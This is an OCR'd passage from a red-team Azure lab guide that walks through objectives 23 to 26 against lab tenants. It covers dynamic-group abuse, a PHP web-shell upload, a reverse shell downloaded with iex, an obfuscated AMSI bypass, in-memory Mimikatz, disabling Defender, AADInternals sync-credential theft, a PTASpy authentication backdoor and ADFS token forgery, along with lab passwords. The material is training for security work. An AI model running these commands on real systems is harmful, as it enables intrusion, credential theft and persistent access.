MembershipRule
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(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq
"guest" )

Note that the membership rule means that any Guest user whose secondary email contains the string
‘vendor' will be added to this group!

Alternative - Enumerate using the virusscanner application
An alternate way would be to acquire an access token and use it from the virusscanner app. This could be
useful in case we would like to access the DefCorp IT tenant only from the IP of the virusscanner app.

For the enumeration, create enumerate_dynamic_groups_x.zip by creating a ZIP archive of
enumerate_dynamic_groups_x.py in the C:\AzAD\Tools directory and upload it to the virusscanner app -
https://virusscanner.azurewebsites.net/. Remembet replace x with your student ID.

We get the following results after running enumerate_dynamic_groups_x.py. Assuming that you follo
correct naming, run the following command —

; python /tmp/uploads/enumerate dynamic groups x/enumerate dynamic groups
X.py s
Note that you would need to wait for several seconds for the result:

Check your Connection!

Provide URL!

; python /tmp/uploads/enumerate_dynamic_groups_1/enumerate_dynamic_groups_1.py ;

Status: [+] Access token acquired successfully.

Group Name: TTOPS. Group Tvpe: ['DvnamicMenbershin'll
Membership Rule: (user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest™)]

Members of ITOPS:

- student 76 (student76_defcorpextcontractors.onmicrosoft.com#EXT#@defcorpit.onmicrosoft.com)

- student 162 (student162_defcorpextcontractors.onmicrosoft.comtEXT#@defcorpit.onmicrosoft.com)
- student 117 (student117 defcorpextcontractors.onmicrosoft.com#EXT#@defcorpit.onmicrosoft.com

Abuse Dynamic Group Membership
Now, invite your student@defcorpextcontractors.onmicrosoft.com as a guest user. For that, we can use
the following command:

PS C:\AzAD\Tools> New-MgInvitation -InvitedUserDisplayName "StudentX" -
InvitedUserEmailAddress studentX@defcorpextcontractors.onmicrosoft.com -
InviteRedirectUrl "https://portal.azure.com" -SendInvitationMessage:S$true|
select -ExpandProperty InviteRedeemUrl

https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microso
ft.com%2fredeem$2£$3ftenant$3db6e0615d. ...
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Alterantively, we can use invite_guest_x.py. As earlier, create a ZIP archive for the python script, upload
it to the virusscanner app and then run the script. Remember to use the —external-user parameter:

; python /tmp/uploads/invite guest x/invite guest x.py --external-user
studentx@defcorpextcontractors.onmicrosoft.com ;

Note that you would need to wait for several second for the result:

Provide URL!

; python /tmp/uploads/invite_guest_1/invite_guest_1.py --external-user student1@defcorpextcc

Status: [+] Access token acquired successfully.
[+] Inviting user...
[+] User invited successfully.

Object ID: 2bdb4cab-6ead-4bb3-84eb-a540c040ebe3
Invitation link: https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fred|

Once we have invited the user, carefully copy the Invitation Link (Redemption link) and note the Object
ID for the invited guest.

Copy the link and open it in an Incognito Chrome Window and login as
studentx@defcorpextcontractors.onmicrosoft.com and follow these steps:

1. Consent to the permissions

B8 Microsoft
student! @defcorpextcontractors.onmicrosoft.com

Permissions requested by:
DefCorp IT

defcorpitonmicrasoft.com

By accepting, you allow this arganization to:
s Receive your profile data

s Callect and log your activity

v Use your profile data and activity data

You should only accept if you trust DefCorp T, DefCorp IT has
not provided links to their terms for you to review. You can
updlate these permissions at

hitps://myaccount microsoft.com/organizations

Leam more

This resource is not shared by Microsoft.

AlteredSecurity.com Azure Attacks for Red and Blue Teams 132



2. You need to register for MFA using Microsoft Authenticactor app. Please follow the on-screen
instructions to register. As we did earlier, please select ‘Work or school account’ in the
authenticator app.

B= Microsoft
student1@defcorpextcontractors.onmicrosoft.com

More information required

Your organization needs more information to keep
your account secure

Use a different account

Learn more

3. After login, you may need to switch directory to DefCorp IT in the Azure portal:

o & student1@defcorpextco... @
DEFCORP EXTERNAL CONTRACT... @

DefCorp External Contractors Sign out

student1@defcorp...
student1@defcorpextcontract...
View account

Switch directory

Sign in with a different account

¥¢ DefCorp External Contractors @ current defcorpextcontractors.onmicrosoft.com

st DefCorp IT defcorpit.onmicrosoft.com

Note that you would be unable to enumerate most of the objects in DefCorp IT as
studentx@defcorpextcontractors.onmicrosoft.com would a guest user there.

Finally, connect to Entra ID using credentials of studentx@defcorpextcontractors.onmicrosoft.com:

PS C:\AzAD\Tools> Connect-AzAccount -TenantId b6e0615d-2cl7-46b3-922c-
491c91624acd

The above command shows the MFA prompt. Approve the sign in to proceed. In some rare cases, the

the MFA prompt may get stuck. If that happens, cancel it and try again.

Once you the sign in is approved, you can use the following commands:

AlteredSecurity.com Azure Attacks for Red and Blue Teams 133



PS C:\AzAD\Tools> $Token = (Get-AzAccessToken -ResourceTypeName
MSGraph) . Token

PS C:\AzAD\Tools> Connect-MgGraph -AccessToken ($Token | ConvertTo-
SecureString -AsPlainText -Force)

Welcome to Microsoft Graph!

[snip]

Now, to abuse Dynamic group rule, we need to edit the secondary email for the studentx. Let's do that
using the below command. Recall that we got the Object ID for studentx in DefCorp IT when we sent the
invite as Thomas using invite_guest_x.py. You can also find the Object ID after Sign in as studentx to the
Azure Portal.

Remember to replace the UserPrincipalName and Objectld:

PS C:\AzAD\Tools> Update-MgUser -UserId 4a3395c9-be40-44ba-aff2-be502edd9619

-OtherMails vendorx@defcorpextcontractors.onmicrosoft.com

Wait for couple of minutes and the user will be added to the the ITOPS dynamic group! We can confirm
that as the user Thomas by uploading enumerate_dynamic_groups_x.zip to the virusscanner app and
running enumerate_dynamic_groups_x.py.

Any privileges or RBAC roles that the ITOPS Group has can now be abused as studentx.

AlteredSecurity.com Azure Attacks for Red and Blue Teams 134



Learning Objective 23:

Task
*  We created a user studentx@defcorphqg.onmicrosoft.com by abusing CreateUsers repository on
GitHub. Use the privileges of that user to find an Enterprise application that uses Application
Proxy.

*  Check if the above user is allowed to access the application.

* Abuse a file upload vulnerability in the application to get OS command execution on the on-prem
server hosting the application and extract credentials.

Part of - Kill Chain - 4
Topics covered - Authenticated Enumeration and Tenant to Tenant Lateral Movement

Solution
Let's connect to Entra ID using credentials of studentx@defcorphg.onmicrosoft.com. Note that first you
need to register MFA for studentx@defcorphqg.onmicrosoft.com by signing-in to portal.azure.com.

After registering the MFA, use the following commands to connect to the Defcorp tenant using Azure AD
module:

PS C:\AzAD\Tools> Connect-AzAccount -TenantId 2d50cb29-5f7b-48a4-87ce-
fe75a941adbé6

The above command will open an ‘Approve Sign in’ prompt. After approving the sign-in, we can continue
using Az Powershell as studentx@defcorphg.onmicrosoft.com

PS C:\AzAD\Tools> $Token = (Get-AzAccessToken -ResourceUrl
"https://graph.microsoft.com/") .Token

PS C:\AzAD\Tools> Connect-MgGraph -AccessToken ($Token | ConvertTo-
SecureString -AsPlainText -Force)

Welcome to Microsoft Graph!

Connected via userprovidedaccesstoken access using 1950a258-227b-4e31-a9cf-
717495945fc2
[snip]

Use the Get-MgApplicationProxyApplication.psl script from C:\AzAD\Tools directory to
enumerate all the applications that has application proxy configured (may take a few minutes to
complete):

PS C:\AzAD\Tools>. C:\AzAD\Tools\Get-MgApplicationProxyApplication.psl
[+] Access token retrieved successfully.
Retrieving applications from Microsoft Graph...
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[t] Successfully retrieved applications.

Application Proxy used by application: 'Finance Management System'
External URL: https://fms-defcorphqg.msappproxy.net/

Internal URL: http://deffin-appproxy/

External Authentication Type: aadPreAuthentication

So, an app Finance Management System seems to be using application proxy. Get the service principal
(Enterprise Application) for it:

PS C:\AzAD\Tools> Get-MgServicePrincipal -Filter "DisplayName eq 'Finance
Management System'"

DisplayName Id AppId
SignInAudience ServicePrincipalType

Finance Management System ec350d24-e4e4-4033-ad3f-bf60395£f0362 3a4dc02e-d57f-
4b76-bc3d-fb639%e06bebd AzureADMyOrg Application

Use C:\AzAD\Tools\Get-MgApplicationProxyAssignedUsersAndGroups.psl to find users and
groups allowed to access the application:

PS C:\AzAD\Tools> . C:\AzAD\Tools\Get-
MgApplicationProxyAssignedUsersAndGroups.psl

PS C:\AzAD\Tools> Get-MgApplicationProxyAssignedUsersAndGroups -ObjectId
ec350d24-e4e4-4033-ad3f-bf60395£0362

Reading users. This operation might take longer...

Reading groups. This operation might take longer...

Displaying users and groups assigned to the specified Application Proxy
application...

Application: Finance Management System(ServicePrinc. ObjID:ec350d24-eded-
4033-ad3f-bf60395£0362)

Assigned (directly and through group membership) users:

DisplayName: admin UPN: admin@defcorphg.onmicrosoft.com ObjectID: 4d67bl55-
3494-46d0-a4cf-de359d8a9d68

DisplayName: studentx UPN: studentx@defcorphqg.onmicrosoft.com ObjectID:
cd03b7£3-2595-49bb-acdd-cf06c8a33921

[snip]
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Let's access the application now https://fms-defcorphg.msappproxy.net/ and login using
studentx@defcorphg.onmicrosoft.com:

& fms-defcorphqmsappproxy.net

Dashboard

Dashboard

@ Dashboard

& Everyday Progress L& Monthly Sales
400 - 15000
aaa o oal

..... -\. N \ / 1000¢

-

N / .
20000 / -
O ) . . .
Mar Mar 3 Mar 5 Mar 7 Mar Mar 11 Mar 13 ‘ anuan Februan March April May une

Go to config option in the left menu and upload studentxshell.phtml:

Configuration

Site Address (URL

nezones | (GMT-12:00) International Date Line West e

ormat

1914
1914-12
1914-12-20
12-20

Upload Files [docx, ks, csv)

Choose File | studentishell phtm

Now, check if our web shell is deployed. Browse to https://fms-
defcorphg.msappproxy.net/dist/uploads/studentxshell.phtm|?cmd=whoami

C & fms-defcorphg.msappproxy.net

nt authority'\system

Sweet! Looks like the application is using Windows host on the on-prem infra and we have SYSTEM
privileges.
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Let's get a reverse shell on that host. Start a netcat listener on your student VM:

PS C:\AzAD\Tools> C:\AzAD\Tools\netcat-win32-1.12\nc.exe -lvp 4444

listening on [any] 4444

Browse to the following URL to download and execute Invoke-PowerShellTCP.ps1 from your student VM.
Remember to change the IP to your student VM, make sure that the reverse shell is copied to
C:\xampp\htdocs and Apache is running in xampp.

https://fms-defcorphg.msappproxy.net/dist/uploads/studentxshell.phtml?cmd=powershell iex (New-
Object Net.Webclient).downloadstring('http://172.16.x.x:82/Invoke-PowerShellTcp.ps1');Power -
Reverse -IPAddress 172.16.x.x -Port 4444

On the listener we can see:

172.16.4.47: inverse host lookup failed: h errno 11004: NO_DATA
connect to [172.16.150.1] from (UNKNOWN) [172.16.4.47] 59427: NO DATA
Windows PowerShell running as user DEFFIN-APPPROXYS on DEFFIN-APPPROXY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs\dist\uploads>whoami
nt authority\system

Download and execute Invoke-Mimikatz in memory of the reverse shell and extract secrets for service
account. Remember to copy Invoke-Mimikatz.ps1 to C:\xampp\htdocs

PS C:\xampp\htdocs\dist\uploads> S eT-It'em ( 'V'+'aR' + 'IA' + (("{1}{0}"-
£'1','blE: ")+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;

( Get-varI A'BLE ( ('1Q'+'2U0') +'zX' ) -Val

) ."A ss Embly" ."GET TY Pe" (( "{6}{3}{1}{4}{2}{0}{5}" -

£('Uti'+'1"),'A', ('Am'+'si"), (("{O0}{1}" -£f

'.M','an')+'age'+'men'+'t."'), ('u'+'to'+("{0} {2} {1}" -£f
'ma','.','tion')),'s', (("{1}{0}"-f£ 't','Sys')+'em') ) )."g etf iEID"( (
"{0}{2}{1}" -f£('a'+'msi'),'d', ('"I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-£
'ile','a")) ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -
f'ubl','P')+'i'),'c','e,' ))."sE'T'VaLUE"( ${n ULl},${t RuE} )

PS C:\xampp\htdocs\dist\uploads> iex (New-Object

Net.Webclient) .DownloadString ("http://172.16.X.X:82/Invoke-Mimikatz.psl")
PS C:\xampp\htdocs\dist\uploads> Invoke-Mimikatz -Command '"token: :elevate"
"lsadump: : secrets"'

Secret : SC SNMPTRAP / service 'SNMPTRAP' with username
adfsadmin@deffin.com

cur/text: UserToCreateandManageF3deration!
old/text: UserToCreateandManageF3deration!

Sweet! We go creds for the user adfsadmin@deffin.com
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Learning Objective 24:

Task
* Instructor only -

— Use the credentials for administrator of Entra ID connect that you compromised earlier
and extract the credentials of MSOL_* and Sync_* account from the AD Connect server

of defeng.corp

— Use the above credentials to compromise the user onpremadmin synced to

defcorpsecure.onmicrosoft.com tenant.
* Use the credentials of the user onpremadmin to access the defcorpsecure tenant.

Part of - Kill Chain - 1

Topics covered - Authenticated Enumeration, Privilege Escalation and On-prem to Cloud Lateral

Movement

Solution

Recall that we extracted credentials for defeng-adcnct\administrator from PowerShell history of a user

from the bkpadconnect VM.
We also compromised defeng-adcsrv by abusing the automation account 'Hybridautomation'.

'Instructor only' task
As this task is instructor only, the actual credentials in the lab are different then what we use below.

Let's try to use the credentials extracted from bkpadconnect on the defeng-adcnct server. Assuming that

we know the IP and the server is directly reachable from the student VM:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString
'CredsToManageClOudSync!' -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('administrator', $password)
PS C:\AzAD\Tools> $adcnct = New-PSSession -ComputerName 172.16.1.21 -
Credential $creds

PS C:\AzAD\Tools> Enter-PSSession $adcnct

[172.16.1.21]: PS C:\Users\Administrator\Documents>

Check if Entra connect is installed on defeng-adcnct. Below command is from
AzureADConnectHealthSync module that is installed by default on installation of Entra Connect:

[172.16.1.21]: PS C:\Users\Administrator\Documents> Get-ADSyncConnector

ConnectorTypeName : Extensible?2
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Identifier : b891884f-051e-4a83-95af-2544101c9083

Version : 38

InternalVersion : 1

FormatVersion : 1

Name : defcorpsecure.onmicrosoft.com - AAD
[snip]

AllParameterDefinitions : {UserName : , Password : }
ConnectivityParameters : {UserName : Sync DEFENG-

ADCNCT_782bef6aala9@defcorpsecure.onmicrosoft.com, Password : }

[snip]

Name : defeng.corp

[snip]

PasswordHashConfiguration : <password-hash-sync-

config><enabled>1</enabled><target>{B891884F-051E-4A83-95AF-
2544101C9083}</target></password-hash-sync-config>

[snip]

So the on-prem defeng.corp is synced to defcorpsecure.onmicrosoft.com using PHS and we are on the

server where Entra connect is installed — defeng-adcnct.

Let's load the AADInternals module in the PSRemtoing session and extract credentials for the
Sync_DEFENG-ADCNCT_782bef6aa0a9@defcorpsecure.onmicrosoft.com that can then be used to reset

password for any user in the cloud:

[172.16.1.21]: PS C:\Users\Administrator\Documents> Set-MpPreference -
DisableRealtimeMonitoring $true

[172.16.1.21]: PS C:\Users\Administrator\Documents> exit

PS C:\AzAD\Tools> Copy-Item -ToSession $adcnct -Path
C:\AzAD\Tools\AADInternals.0.4.5.zip -Destination
C:\Users\Administrator\Documents

PS C:\Users\Administrator\Documents> Enter-PSSession $adcnct
[172.16.1.21]1: PS C:\Users\Administrator\Documents> Expand-Archive
C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath
C:\Users\Administrator\Documents\AADInternals

[172.16.1.21]: PS C:\Users\Administrator\Documents> Import-Module
C:\Users\Administrator\Documents\AADInternals\AADInternals.psdl

[snip]
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Extract credentials of the MSOL_* and Sync_* accounts in clear-text:

[172.16.1.21]: PS C:\Users\Administrator\Documents> Get-AADIntSyncCredentials
WARNING: Running as ADSync (NT SERVICE\ADSync). You MUST restart PowerShell
to restore DEFENG-ADCNCT\Administrator rights.

ADDomain : DEFENG.CORP

ADUser : MSOL_782bef6aala9
ADUserPassword : Y#;1glWkiz**o%Zx)WN.d[Bgvr[snip]
AADUser : Sync_DEFENG-

ADCNCT_782bef6aalad9@Rdefcorpsecure.onmicrosoft.com
AADUserPassword : {_d*[snip]

Sweet! Use the credentials of the Sync_* account to request an access token for AADGraph APl and save
it to cache:

[172.16.1.21]: PS C:\Users\Administrator\Documents> $passwd = ConvertTo-
SecureString 'password' -AsPlainText -Force

[172.16.1.21]: PS C:\Users\Administrator\Documents> $creds = New-Object
System.Management.Automation.PSCredential ("Sync DEFENG-
ADCNCT_782bef6aala9@defcorpsecure.onmicrosoft.com", $passwd)
[172.16.1.21]: PS C:\Users\Administrator\Documents> Get-
AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache

[snip]

Get the Immutableld for the onpremadmin user:

[172.16.1.21]1: PS C:\Users\Administrator\Documents> Get-AADIntUser -
UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select
ImmutableId

ImmutableId

E2gG19HA4EaDe0+3LkcS5g==

Reset the onpremadmin user's password using the below command:

[172.16.1.21]1: PS C:\Users\Administrator\Documents> Set-AADIntUserPassword -
SourceAnchor "E2gGl9HA4EaDeO+3LkcS5g==" -Password "SuperSecretpass#12321" -
Verbose

[snip]

Use onpremadmin user credentials
Finally, use the onpremadmin user's credentials to access the defcorpsecure tenant from the student VM!
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Learning Objective 25:

Task
* Instructor only -

— Use the credentials for administrator of Entra connect that you compromised earlier and

setup a backdoor on the AD Connect server of defres.corp

* Check if you can access the tenant as onpremdbadmin@defres.onmicrosoft.com user whose

password we extracted.

Part of - Kill Chain - 2

Topics covered - Authenticated Enumeration, Privilege Escalation, On-prem to Cloud Lateral

Movement and Cloud to On-Prem Lateral Movement

Solution

Recall that we extracted credentials for a user adconnectadmin from defreg-adminsrv by compromising

it using privileges of Intune administrator. Going by the PowerShell history we extracted the credentials

from, the user adconnectadmin may have administrative rights on defers-adcnct.

'Instructor only' task

Let's try to connect to defers-adcnct by using the credentials that we have. Assuming that we can resolve

the name to an IP and it is reachable from the student VM:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString
'UserIntendedToManageSyncWithClOud!' -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('adconnectadmin', $password)
PS C:\AzAD\Tools> $adcnct = New-PSSession -ComputerName 172.16.2.36 -
Credential $creds

PS C:\AzAD\Tools> Enter-PSSession $adcnct

[172.16.2.36]: PS C:\Users\adconnectadmin\Documents>

Check if Entra connect is installed on defres-adcnct. Below command is from
AzureADConnectHealthSync module that is installed by default on installation of Entra Connect:

[172.16.2.36]: PS C:\Users\adconnectadmin\Documents> Get-ADSyncConnector

ConnectorTypeName : Extensible?2

Identifier : b891884f-051e-4a83-95af-2544101c9083
Version : 38

InternalVersion 3 4

FormatVersion 3 A

Name : defres.onmicrosoft.com - AAD
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[snip]
AllParameterDefinitions : {UserName : , Password : }

ConnectivityParameters : {UserName : Sync DEFRES-
ADCNCT_4a5443bda891@defres.onmicrosoft.com, Password : }

[snip]
Name : defres.corp

[snip]

Although not very reliable method, we can check if PTA is installed by checking if the
PassthroughAuthPSModule is available on the machine.

[172.16.2.36]: PS C:\Users\adconnectadmin\Documents> Get-Command -Module
PassthroughAuthPSModule

CommandType Name Version Source
Cmdlet Add-AgentToAgentGroup 1.0.0.0
PassthroughAuthPSModule

Cmdlet Add-PublishedResourceToAgentGroup 1.0.0.0

PassthroughAuthPSModule

So the on-prem defres.corp is synced to defres.onmicrosoft.com using PTA and we are on the server
where Entra connect is installed — defres-adcnct.

Let's load the AADInternals module in the PSRemtoing session and install a PTA agent that would allow us
to authenticate as any synced user without knowing the correct password:

172.16.2.36]: PS C:\Users\adconnectadmin\Documents> Set-MpPreference -
DisableRealtimeMonitoring $true

[172.16.2.36]: PS C:\Users\adconnectadmin\Documents> exit

PS C:\AzAD\Tools> Copy-Item -ToSession $adcnct -Path
C:\AzAD\Tools\AADInternals.0.4.5.zip -Destination
C:\Users\adconnectadmin\Documents

PS C:\AzAD\Tools> Enter-PSSession $adcnct

[172.16.2.36]: PS C:\Users\adconnectadmin\Documents> Expand-Archive
C:\Users\adconnectadmin\Documents\AADInternals.0.4.5.zip -DestinationPath
C:\Users\adconnectadmin\Documents\AADInternals

[172.16.2.36]: PS C:\Users\adconnectadmin\Documents> Import-Module
C:\Users\adconnectadmin\Documents\AADInternals\AADInternals.psdl
[snip]

Install the PTA agent:

[172.16.2.36]: PS C:\Users\adconnectadmin\Documents> Install-AADIntPTASpy
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WARNING: Microsoft Visual C++ 2015 Redistributable (x64) seems not to be
installed! If PTASpy installation fails, install from:
https://download.microsoft.com/download/6/A/A/6AAAEDFF-645B-48C5-81CC—
ED5963AEAD48/vc_redist.x64.exe

Are you sure you wan't to install PTASpy to this computer? Type YES to
continue or CTRL+C to abort: YES

Installation successfully completed!

All passwords are now accepted and credentials collected to
C:\PTASpy\PTASpy.csv

Now, we can authenticate as any user that is synced from on-prem and we can also get passwords in clear-
text for the users that authenticate with the correct password:

[172.16.2.36]: PS C:\Users\adconnectadmin\Documents> Get-AADIntPTASpyLog -
DecodePasswords

UserName Password Time
adconnectadmin@defres.onmicrosoft.com 1 3/20/2021
3:23:38 PM

adconnectadmin@defres.onmicrosoft.com 1 4/24/2021

10:13:03 AM
onpremdbadmin@defres.onmicrosoft.com UsesBothOnPremAndClouddata! 4/24/2021
10:30:29 AM

Sweet! Now we can use the onpremdbadmin@defres.onmicrosoft.com credentials to access the tenant!
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Learning Objective 26:

Task
* Instructor only -

— Use the credentials for DA of deffin.com that you compromised earlier to extract token-
signing certificate from ADFS and access the deffin.com tenant as the user onpremuser.

Part of - Kill Chain - 4
Topics covered - Authenticated Enumeration, Privilege Escalation and On-prem to Cloud Lateral
Movement

Solution

Instructor only

We compromised adfsadmin@deffin.com by compromising the deffin-approxy machine. Assuming that
we know the IP of the AD FS server for deffin.com and the user actually has DA privileges (as many
organizations setup ADFS role on the domain controller) try to access it using PSRemoting:

PS C:\AzAD\Tools> $password = ConvertTo-SecureString
'UserToCreateandManageF3deration!' -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('adfsadmin', $password)

PS C:\AzAD\Tools> $adfs = New-PSSession -ComputerName 172.16.4.41 -Credential
$creds

PS C:\AzAD\Tools> Enter-PSSession $adcnct

[172.16.4.41]1: PS C:\Users\adfsadmin\Documents>

Copy AADInternals tool to the server and extract the token signing certificate:

[172.16.4.41]: PS C:\Users\adfsadmin\Documents> Set-MpPreference -
DisableRealtimeMonitoring $true

[172.16.4.41]1: PS C:\Users\adfsadmin\Documents> exit

PS C:\AzAD\Tools> Copy-Item -ToSession $adfs -Path
C:\AzAD\Tools\AADInternals.0.4.5.zip -Destination
C:\Users\adfsadmin\Documents

PS C:\AzAD\Tools> Enter-PSSession $adfs

[172.16.4.41]: PS C:\Users\adfsadmin\Documents> Expand-Archive
C:\Users\adfsadmin\Documents\AADInternals.0.4.5.zip -DestinationPath C:\
Users\adfsadmin\Documents\AADInternals

Export the token signing certificate:

[172.16.4.41]: PS C:\Users\adfsadmin\Documents> Export-
AADIntADFSSigningCertificate
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Get the ImmutablelD of the user that we want to compromise. We can use Microsoft's ADModule for this.
Run the below commands on the student VM:

PS C:\AzAD\Tools> Import-Module
C:\AzAD\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll

WARNING: Error initializing default drive: 'Unable to find a default server
with Active Directory Web Services running.'.

PS C:\AzAD\Tools> Import-Module
C:\AzAD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psdl

PS C:\AzAD\Tools> [System.Convert]: :ToBase64String((Get-ADUser -Identity
onpremuser -Server 172.16.4.1 -Credential $creds | select -ExpandProperty
ObjectGUID) . tobytearray () )

v1pOC7Pz8kaT6JWtThIJKRQ==

Use the token signing certificate with the ImmutablelD of onpremuser that we want to compromise:

[172.16.4.41]: PS C:\Users\adfsadmin\Documents> Open-AADIntOffice365Portal -
ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer
http://deffin.com/adfs/services/trust -PfxFileName
C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Copy the temporay html to the student VM and open it to login as the onpremuser user:

[172.16.4.41]: PS C:\Users\adfsadmin\Documents> 1ls
C:\Users\adfsadmin\AppData\Local\Temp\*. tmp.html

[172.16.4.41]1: PS C:\Users\adfsadmin\Documents> exit
PS C:\AzAD\Tools> Copy-Item -FromSession $adfs -Path

C:\Users\adfsadmin\AppData\Local\Temp\tmp9EOQF.tmp.html -Destination
C:\AzAD\Tools\

Open the html file with Chrome to access the deffin.com tenant.

Use onpremuser credentials
For the lab you can use the following credentials —

Username — onpremuser@deffin.com

Password - NotIntheClOud!
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